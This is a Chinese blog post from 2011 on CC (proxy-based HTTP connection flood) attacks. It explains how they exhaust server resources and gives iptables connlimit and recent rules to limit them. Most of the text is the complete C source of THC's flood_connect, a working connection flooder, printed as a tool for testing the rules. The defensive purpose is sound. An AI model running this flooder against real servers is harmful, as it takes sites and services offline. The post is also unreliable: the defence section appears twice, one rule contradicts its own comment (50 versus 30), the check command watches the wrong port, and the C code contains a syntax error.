一、什么是CC攻击:利用大量代理服务器对目标计算机发起大量连接,导致目标服务器资源枯竭造成拒绝服务。

    1、攻击原理

    CC主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,论坛的页面越多,数据库就越大,被访问的频率也越高,占用的系统资源也就相当可观,现在知道为什么很多空间服务商都说大家不要上传论坛,聊天室等东西了吧。
一个静态页面不需要服务器多少资源,甚至可以说直接从内存中读出来发给你就可以了,但是论坛就不一样了,我看一个帖子,系统需要到数据库中判断我是否有读读帖子的权限,如果有,就读出帖子里面的内容,显示出来——这里至少访问了2次数据库,如果数据库的体积有200MB大小,系统很可能就要在这200MB大小的数据空间搜索一遍,这需要多少的CPU资源和时间?如果我是查找一个关键字,那么时间更加可观,因为前面的搜索可以限定在一个很小的范围内,比如用户权限只查用户表,帖子内容只查帖子表,而且查到就可以马上停止查询,而搜索肯定会对所有的数据进行一次判断,消耗的时间是相当的大。

    CC就是充分利用了这个特点,模拟多个用户(多少线程就是多少用户)不停的进行访问(访问那些需要大量数据操作,就是需要大量CPU时间的页面)。很多朋友问到,为什么要使用代理呢?因为代理可以有效地隐藏自己的身份,也可以绕开所有的防火墙,因为基本上所有的防火墙都会检测并发的TCP/IP连接数目,超过一定数目一定频率就会被认为是Connection-Flood。

    使用代理攻击还能很好的保持连接,我们这里发送了数据,代理帮我们转发给对方服务器,我们就可以马上断开,代理还会继续保持着和对方连接(我知道的记录是有人利用2000个代理产生了35万并发连接)。

    可能很多朋友还不能很好的理解,我来描述一下吧。我们假设服务器A对Search.asp的处理时间需要0.01S(多线程只是时间分割,对结论没有影响),也就是说他一秒可以保证100个用户的Search请求,服务器允许的最大连接时间为60s,那么我们使用CC模拟120个用户并发连接,那么经过1分钟,服务器的被请求了7200次,处理了6000次,于是剩下了1200个并发连接没有被处理。有的朋友会说:丢连接!丢连接!问题是服务器是按先来后到的顺序丢的,这1200个是在最后10秒的时候发起的,想丢?!还早,经过计算,服务器满负开始丢连接的时候,应该是有7200个并发连接存在队列,然后服务器开始120个/秒的丢连接,我们发动的连接也是120个/秒,服务器永远有处理不完的连接,服务器的CPU 100%并长时间保持,然后丢连接的60秒服务器也判断处理不过来了,新的连接也处理不了,这样服务器达到了超级繁忙状态。

    蝴蝶:我们假设服务器处理Search只用了0.01S,也就是10毫秒(这个速度你可以去各个有开放时间显示的论坛看看),我们使用的线程也只有120,很多服务器的丢连接时间远比60S长,我们的使用线程远比120多,可以想象可怕了吧,而且客户机只要发送了断开,连接的保持是代理做的,而且当服务器收到SQL请求,肯定会进入队列,不论连接是否已经断开,而且服务器是并发的,不是顺序执行,这样使得更多的请求进入内存请求,对服务器负担更大。

    当然,CC也可以利用这里方法对FTP进行攻击,也可以实现TCP-FLOOD,这些都是经过测试有效的。

二、防范

    1、解决CC的切入点:
    1) 大部分的HTTP代理服务器代理源client向服务器发出的数据包带有"X-Forwarded-For"特征。

    2) 针对CC攻击非HTTP端口的时候可以通过过滤HTTP请求特有的"GET"特征进行过滤。

    3) 对付CC攻击,区别非正常连接要在代理服务器和被攻击的服务器完成三次握手进行数据通讯的时候进行检测。检测出后要及时关闭服务器相应的非正常连接。否则同样可能因死连接过多造成服务器资源枯竭。

    4) 限制单位时间内同一请求IP的并发连接数也不失为一种好的办法。

    5) 大部分代理服务器会向服务器报露源请求的源IP地址,只不过这个地址经常是反的例如202.96.140.77你收到所的数据包可能变成77.140.96.202,这可能是程序员没有将网络字节序转换成主机字节序放在HTTP请求信息里所致。找出什么IP攻击你解决办法要你自己想。


    2、以上所讲的不一定能帮助普通用户解决实际问题,以下给普通用户一些简单的解决提示:

    1)Linux的iptables可以配置字符串模式匹配,也就是可以利用iptables实现 解决CC的切入点1、2。将linux配置为桥模式实现对被攻击的非linux服务器保护。可以参考下(用IPTables实现字符串模式匹配

    2)很多unix防火墙都带了限制单一ip并发数的功能。例如ipfw

    3)如果是针对WEB网站攻击可以采取一些退让的办法比方说域名转向(把负载交给域名转向服务商)。也可以通过反响代理或者dns轮询提高web服务整体承受能力。

   注意:字符串匹配本身就是一个开销很大的工作,iptables用来解决CC攻击性能上并不是非常的出色。我可以给一些有开发能力的用户一些提示,以上提及的关键字均出现在三次握手结束后的第四次数据通讯中,且均在TCP数据部分的前255bytes。

3、使用iptables防范CC攻击

当apache站点受到严重的cc攻击,我们可以用iptables来防止web服务器被CC攻击,实现自动屏蔽IP的功能。
1.系统要求

(1)LINUX 内核版本:2.6.9-42ELsmp或2.6.9-55ELsmp(其它内核版本需要重新编译内核,比较麻烦,但是也是可以实现的)。

(2)iptables版本:1.3.7

2. 安装

安装iptables1.3.7和系统内核版本对应的内核模块kernel-smp-modules-connlimit

3. 配置相应的iptables规则

示例如下:

(1)控制单个IP的最大并发连接数
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT

#允许单个IP的最大连接数为 30

(2)控制单个IP在一定的时间(比如60秒)内允许新建立的连接数
iptables -A INPUT -p tcp --dport 80 -m recent  --name BAD_HTTP_ACCESS --update --seconds 60  --hitcount 30 -j REJECT iptables -A INPUT -p tcp --dport 80 -m recent  --name BAD_HTTP_ACCESS --set -j ACCEPT

#单个IP在60秒内只允许最多新建30个连接

4. 验证

(1)工具:flood_connect.c(用来模拟攻击)

  1. /*  
  2.  * Flood Connecter v1.5 (c) 2002 by van Hauser / THC <vh@reptile.rug.ac.be>  
  3.  * http://www.thehackerschoice.com  
  4.  *  
  5.  * Connection flooder, can also send data, keep connections open etc.  
  6.  *  
  7.  * Use allowed only for legal purposes.  
  8.  *  
  9.  * To compile:   cc -o flood_connect -O2 flood_connect.c  
  10.  * openssl: cc -o flood_connect -O2 flood_connect.c -DOPENSSL -lssl -lcrypto  
  11.  *  
  12.  */ 
  13.  
  14. #include <stdio.h>  
  15. #include <string.h>  
  16. #include <netdb.h>  
  17. #include <netinet/in.h>  
  18. #include <netinet/tcp.h>  
  19. #include <sys/types.h>  
  20. #include <sys/socket.h>  
  21. #include <sys/stat.h>  
  22. #include <sys/time.h>  
  23. #include <sys/resource.h>  
  24. #include <arpa/inet.h>  
  25. #include <stdlib.h>  
  26. #include <unistd.h>  
  27. #include <fcntl.h>  
  28. #include <signal.h>  
  29.  
  30. #define PORT        80  // change this if you want  
  31. #define UNLIMITED   0   // dont change this  
  32.  
  33. #ifdef OPENSSL  
  34.  #include <openssl/ssl.h>  
  35.  #include <openssl/err.h>  
  36.  SSL     *ssl = NULL;  
  37.  SSL_CTX *sslContext = NULL;  
  38.  RSA     *rsa = NULL;  
  39.  
  40.  RSA *ssl_temp_rsa_cb(SSL *ssl, int export, int keylength) {  
  41.     if (rsa == NULL)  
  42.         rsa = RSA_generate_key(512, RSA_F4, NULL, NULL);  
  43.     return rsa;  
  44.  }  
  45. #endif  
  46.  
  47. char *prg;  
  48. int   forks = 0;  
  49. int   pids[256];  
  50. int   warn = 0;  
  51.  
  52. void help() {  
  53.     printf("Flood Connect v1.5 (c) 2002 by van Hauser /THC <vh@reptile.rug.ac.be>  
  54.  
  55. Syntax: %s [-S] [-u] [-p port] [-i file] [-n connects] [-N delay] [-c] [-C delay] [-d] [-D delay] [-e] [-k] [-v] TARGET  
  56.  
  57. Options:  
  58.     -S           use SSL after TCP connect (not usuable with -u, sets port=443)  
  59.     -u           use UDP protocol (default: TCP) (not usable with -c)  
  60.     -p port      port to connect to (default: %d)  
  61.     -f forks     number of forks to additionally spawn (default: 0)  
  62.     -i file      data to send to the port (default: none)  
  63.     -n connects  maximum number of connects (default: unlimited)  
  64.     -N delay     delay between connects in ms (default: 0)  
  65.     -c           close after connect (and sending data, if used with -i)  
  66.                  use twice to shutdown SSL sessions hard (-S -c -c)  
  67.     -C delay     delay before closing the port (for use with -c) (default: 0)  
  68.     -d           dump data read from server  
  69.     -D delay     delay before trying to read+dump data from server (default: 0)  
  70.     -e           stop when no more connects possible (default: retry forever)  
  71.     -k           no keep-alive after finnishing with connects, terminate!  
  72.     -v           verbose mode  
  73.     TARGET       target to flood attack (ip or dns)  
  74.  
  75. Connection flooder. Nothing more to say. Use only allowed for legal purposes.  
  76. Visit our homepage at http://www.thehackerschoice.com  
  77. ", prg, PORT);  
  78.     exit(-1);  
  79. }  
  80.  
  81. void kill_children(int signo) {  
  82.     int i = 0;  
  83.     while (i < forks) {  
  84.         kill(pids[i], SIGTERM);  
  85.         i++;  
  86.     }  
  87.     usleep(10000);  
  88.     i = 0;  
  89.     while (i < forks) {  
  90.         kill(pids[i], SIGKILL);  
  91.         i++;  
  92.     }  
  93.     exit(-1);  
  94. }  
  95.  
  96. int main(int argc, char *argv[]) {  
  97.     unsigned short int  port = PORT;  
  98.     long int max_connects = UNLIMITED;  
  99.     int      verbose = 0;  
  100.     int      close_connection = 0;  
  101.     int      exit_on_sock_error = 0;  
  102.     int      use_ssl = 0;  
  103.     int      keep_alive = 1;  
  104.     int      debug = 0;  
  105.     int      dump = 0;  
  106.     long int connect_delay = 0, close_delay = 0, dump_delay = 0;  
  107.     char    *infile = NULL;  
  108.     struct   stat st;  
  109.     FILE    *f = NULL;  
  110.     char    *str = NULL;  
  111.     int      str_len = 0;  
  112.     int      i;  
  113.     int      s;  
  114.     int      ret;  
  115.     int      err;  
  116.     int      client = 0;  
  117.     int      reads;  
  118.     int      sock_type = SOCK_STREAM;  
  119.     int      sock_protocol = IPPROTO_TCP;  
  120.     char     buf[8196];  
  121.     long int count, successful;  
  122.     struct sockaddr_in target;  
  123.     struct hostent    *resolv;  
  124.     struct rlimit      rlim;  
  125.     int      pidcount = 0, res = 0;  
  126.  
  127.     prg = argv[0];  
  128.     err = 0;  
  129.  
  130.     if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)  
  131.         help();  
  132.  
  133.     while ((i = getopt(argc, argv, "cf:C:dD:N:ei:kn:p:SuvV")) >= 0) {  
  134.         switch (i) {  
  135.             case 'c': close_connection++; break;  
  136.             case 'f': forks = atoi(optarg); break;  
  137.             case 'N': connect_delay = atol(optarg); break;  
  138.             case 'C': close_delay = atol(optarg); break;  
  139.             case 'D': dump_delay = atol(optarg); break;  
  140.             case 'd': dump = 1; break;  
  141.             case 'e': exit_on_sock_error = 1; break;  
  142.             case 'u': sock_type = SOCK_DGRAM;  
  143.                       sock_protocol = IPPROTO_UDP;  
  144.                       break;  
  145.             case 'v': verbose = 1; break;  
  146.             case 'V': debug = 1; break;  
  147.             case 'i': infile = optarg; break;  
  148.             case 'k': keep_alive = 0; break;  
  149.             case 'n': max_connects = atol(optarg); break;  
  150.             case 'S': use_ssl = 1;  
  151.                       if (port == PORT)  
  152.                           port = 443;  
  153. #ifndef OPENSSL  
  154.                       fprintf(stderr, "Error: Not compiled with openssl support, use -DOPENSSL -lssl\n");  
  155.                       exit(-1);  
  156. #endif  
  157.                       break;  
  158.             case 'p'if (atoi(optarg) < 1 || atoi(optarg) > 65535) {  
  159.                           fprintf(stderr, "Error: port must be between 1 and 65535\n");  
  160.                           exit(-1);  
  161.                       }  
  162.                       port = atoi(optarg) % 65536;  
  163.                       break;  
  164.             default: fprintf(stderr,"Error: unknown option -%c\n", i); help();  
  165.         }  
  166.     }  
  167.  
  168.     if (optind + 1 != argc) {  
  169.         fprintf(stderr, "Error: target missing or too many commandline options!\n");  
  170.         exit(-1);  
  171.     }  
  172.  
  173.     if (infile != NULL) {  
  174.         if ((f = fopen(infile, "r")) == NULL) {  
  175.             fprintf(stderr, "Error: can not find file %s\n", infile);  
  176.             exit(-1);  
  177.         }  
  178.         fstat(fileno(f), &st);  
  179.         str_len = (int) st.st_size;  
  180.         str = malloc(str_len);  
  181.         fread(str, str_len, 1, f);  
  182.         fclose(f);  
  183.     }  
  184.  
  185.     if ((resolv = gethostbyname(argv[argc-1])) == NULL) {  
  186.         fprintf(stderr, "Error: can not resolve target\n");  
  187.         exit(-1);  
  188.     }  
  189.     memset(&target, 0, sizeof(target));  
  190.     memcpy(&target.sin_addr.s_addr, resolv->h_addr, 4);  
  191.     target.sin_port = htons(port);  
  192.     target.sin_family = AF_INET;  
  193.  
  194.     if (connect_delay > 0)  
  195.         connect_delay = connect_delay * 1000; /* ms to microseconds */ 
  196.     else 
  197.         connect_delay = 1;  
  198.     if (close_delay > 0)  
  199.         close_delay = close_delay * 1000; /* ms to microseconds */ 
  200.     else 
  201.         close_delay = 1;  
  202.     if (dump_delay > 0)  
  203.         dump_delay = dump_delay * 1000; /* ms to microseconds */ 
  204.     else 
  205.         dump_delay = 1;  
  206.  
  207.     rlim.rlim_cur = RLIM_INFINITY;  
  208.     rlim.rlim_max = RLIM_INFINITY;  
  209.     ret = setrlimit(RLIMIT_NOFILE, &rlim);  
  210.     if (verbose) {  
  211.         if (ret == 0)  
  212.             printf("setrlimit for unlimited filedescriptors succeeded.\n");  
  213.         else 
  214.             printf("setrlimit for unlimited filedescriptors failed.\n");  
  215.     }  
  216.  
  217.     for (i = 3; i < 4096; i++)  
  218.         close(i);  
  219.  
  220.     printf("Starting flood connect attack on %s port %d\n", inet_ntoa((struct in_addr)target.sin_addr), port);  
  221.     (void) setvbuf(stdout, NULL, _IONBF, 0);  
  222.     if (verbose)  
  223.         printf("Writing a \".\" for every 100 connect attempts\n");  
  224.  
  225.     ret = 0;  
  226.     count = 0;  
  227.     successful = 0;  
  228.     i = 1;  
  229.     s = -1;  
  230.     res = 1;  
  231.  
  232.     while(pidcount < forks && res) {  
  233.         res = pids[pidcount] = fork();  
  234.         pidcount++;  
  235.     }  
  236.  
  237.     if (res == 0)  
  238.         client = 1;  
  239.           
  240.     if (res > 0) {  
  241.         signal(SIGTERM, kill_children);  
  242.         signal(SIGINT, kill_children);  
  243.         signal(SIGSEGV, kill_children);  
  244.         signal(SIGHUP, kill_children);  
  245.     }  
  246.  
  247.     if (use_ssl) {  
  248. #ifdef OPENSSL  
  249.         SSL_load_error_strings();  
  250.         SSLeay_add_ssl_algorithms();  
  251.  
  252.         // context: ssl2 + ssl3 is allowed, whatever the server demands  
  253.         if ((sslContext = SSL_CTX_new(SSLv23_method())) == NULL) {  
  254.             if (verbose) {  
  255.                 err = ERR_get_error();  
  256.                 fprintf(stderr, "SSL: Error allocating context: %s\n", ERR_error_string(err, NULL));  
  257.             }  
  258.             res = -1;  
  259.         }  
  260.  
  261.         // set the compatbility mode  
  262.         SSL_CTX_set_options(sslContext, SSL_OP_ALL);  
  263.  
  264.         // we set the default verifiers and dont care for the results  
  265.         (void) SSL_CTX_set_default_verify_paths(sslContext);  
  266.         SSL_CTX_set_tmp_rsa_callback(sslContext, ssl_temp_rsa_cb);  
  267.         SSL_CTX_set_verify(sslContext, SSL_VERIFY_NONE, NULL);  
  268. #endif  
  269.     }  
  270.  
  271.     while (count < max_connects || max_connects == UNLIMITED) {  
  272.         if (ret >= 0) {  
  273.             if ((s = socket(AF_INET, sock_type, sock_protocol)) < 0) {  
  274.                 if (verbose && warn == 0) {  
  275.                     perror("Warning (socket)");  
  276.                     warn = 1;  
  277.                 }  
  278.                 if (exit_on_sock_error)  
  279.                     exit(0);  
  280.             } else {  
  281.                setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));  
  282.             }  
  283.         }  
  284.         if (s >= 0) {  
  285.             ret = connect(s, (struct sockaddr *)&target, sizeof(target));  
  286.             if (use_ssl && ret >= 0) {  
  287. #ifdef OPENSSL  
  288.                 if ((ssl = SSL_new(sslContext)) == NULL) {  
  289.                     if (verbose) {  
  290.                         err = ERR_get_error();  
  291.                         fprintf(stderr, "Error preparing an SSL context: %s\n", ERR_error_string(err, NULL));  
  292.                     }  
  293.                     ret = -1;  
  294.                 } else 
  295.                     SSL_set_fd(ssl, s);  
  296.                 if (ret >= 0 && SSL_connect(ssl) <= 0) {  
  297.                     printf("ERROR %d\n", SSL_connect(ssl));  
  298.                     if (verbose) {  
  299.                         err = ERR_get_error();  
  300.                         fprintf(stderr, "Could not create an SSL session: %s\n", ERR_error_string(err, NULL));  
  301.                     }  
  302.                     ret = -1;  
  303.                 }  
  304.  
  305.                 if (debug)  
  306.                     fprintf(stderr, "SSL negotiated cipher: %s\n", SSL_get_cipher(ssl));  
  307. #endif  
  308.             }  
  309.             count++;  
  310.             if (ret >= 0) {  
  311.                 successful++;  
  312.                 warn = 0;  
  313.                 if (str_len > 0) {  
  314.                     if (use_ssl) {  
  315. #ifdef OPENSSL  
  316.                         SSL_write(ssl, str, str_len);  
  317. #endif  
  318.                     } else {  
  319.                     setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));  
  320.                         if (setsockopt(s, SOL_TCP, TCP_NODELAY, &i, sizeof(i)) != 0)  
  321.                             perror("Warning (setsockopt SOL_TCP)");  
  322.                         write(s, str, str_len);  
  323.                     }  
  324.                 }  
  325.                 if (dump) {  
  326.                     fcntl(s, F_SETFL, O_NONBLOCK);  
  327.                     if (dump_delay > 0)  
  328.                         usleep(dump_delay);  
  329.                     if (use_ssl) {  
  330. #ifdef OPENSSL  
  331.                         reads = SSL_read(ssl, buf, sizeof(buf));  
  332. #endif  
  333.                     } else {  
  334.                         reads = read(s, buf, sizeof(buf));  
  335.                     }  
  336.                     if (reads > 0)  
  337.                         printf("DATA: %s\n", buf);  
  338.                 }  
  339.                 if (close_connection) {  
  340.                     if (close_delay > 0)  
  341.                         usleep(close_delay);  
  342. #ifdef OPENSSL  
  343.                     if (use_ssl && close_connection == 1)  
  344.                         SSL_shutdown(ssl);  
  345. #endif  
  346.                     close(s);  
  347. #ifdef OPENSSL  
  348.                     if (use_ssl && close_connection > 1)  
  349.                         SSL_shutdown(ssl);  
  350. #endif  
  351.                 }  
  352.                 if (connect_delay > 0)  
  353.                     usleep(connect_delay);  
  354.             } else {  
  355.                 if (verbose && warn == 0) {  
  356.                     perror("Warning (connect)");  
  357.                     warn = 1;  
  358.                 }  
  359.                 if (exit_on_sock_error)  
  360.                     exit(0);  
  361.             }  
  362.             if (verbose)  
  363.                 if (count % 100 == 0)  
  364.                     printf(".");  
  365.         } else 
  366.             close(s);  
  367.     }  
  368.     if (client) {  
  369.         while (1) {}  
  370.     } else {  
  371.         if (verbose)  
  372.             printf("\n");  
  373.         printf("Done (made %s%ld successful connects)\n", forks ? "approx. " : "", successful + successful * forks);  
  374.         if (keep_alive && close_connection == 0) {  
  375.             printf("Press <ENTER> to terminate connections and this program\n");  
  376.             (void) getc(stdin);  
  377.         }  
  378.       
  379.     if (forks > 0) {  
  380.         usleep(1 + connect_delay + dump_delay + close_delay);  
  381.             while (i < forks) {  
  382.                 kill(pids[i], SIGTERM);  
  383.                 i++;  
  384.             }  
  385.         usleep(10000);  
  386.         i = 0;  
  387.             while (i < forks) {  
  388.                 kill(pids[i], SIGKILL);  
  389.                 i++;  
  390.             }  
  391.         }  
  392.     }  
  393.     return 0;  

(2)查看效果:

使用

watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l'

实时查看模拟攻击客户机建立起来的连接数,

使用

watch 'iptables -L -n -v | \grep<模拟攻击客户机的IP>'

查看模拟攻击客户机被 DROP 的数据包数。

5.注意

为了增强iptables防止CC攻击的能力,最好调整一下ipt_recent的参数如下:

#cat/etc/modprobe.conf options ipt_recent ip_list_tot=1000 ip_pkt_list_tot=60

#记录1000个IP地址,每个地址记录60个数据包 #modprobe ipt_recent
当apache站点受到严重的cc攻击,我们可以用iptables来防止web服务器被CC攻击,实现自动屏蔽IP的功能。
1.系统要求

(1)LINUX 内核版本:2.6.9-42ELsmp或2.6.9-55ELsmp(其它内核版本需要重新编译内核,比较麻烦,但是也是可以实现的)。

(2)iptables版本:1.3.7

2. 安装

安装iptables1.3.7和系统内核版本对应的内核模块kernel-smp-modules-connlimit

3. 配置相应的iptables规则

示例如下:

(1)控制单个IP的最大并发连接数

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT

#允许单个IP的最大连接数为 30

(2)控制单个IP在一定的时间(比如60秒)内允许新建立的连接数

 

iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 30 -j REJECT iptables -A INPUT -p tcp --dport 80 -m recent  --name BAD_HTTP_ACCESS --set -j ACCEPT

#单个IP在60秒内只允许最多新建30个连接

4. 验证

(1)工具:flood_connect.c(用来模拟攻击)

(2)查看效果:

使用

watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l'

实时查看模拟攻击客户机建立起来的连接数,

使用

watch 'iptables -L -n -v | grep<模拟攻击客户机的IP>'

查看模拟攻击客户机被 DROP 的数据包数。

5.注意

为了增强iptables防止CC攻击的能力,最好调整一下ipt_recent的参数如下:

#cat/etc/modprobe.conf options ipt_recent ip_list_tot=1000 ip_pkt_list_tot=60

#记录1000个IP地址,每个地址记录60个数据包 #modprobe ipt_recent

本日志由 flyinweb 于 2011-12-07 17:05:35 发表,目前已经被浏览 396 次,评论 0 次;

作者添加了以下标签: CC Attack

引用通告:http://www.517sou.net/Article/734/Trackback.ashx

评论订阅:http://www.517sou.net/Article/734/Feeds.ashx

评论列表

    暂时没有评论
(必填)
(必填,不会被公开)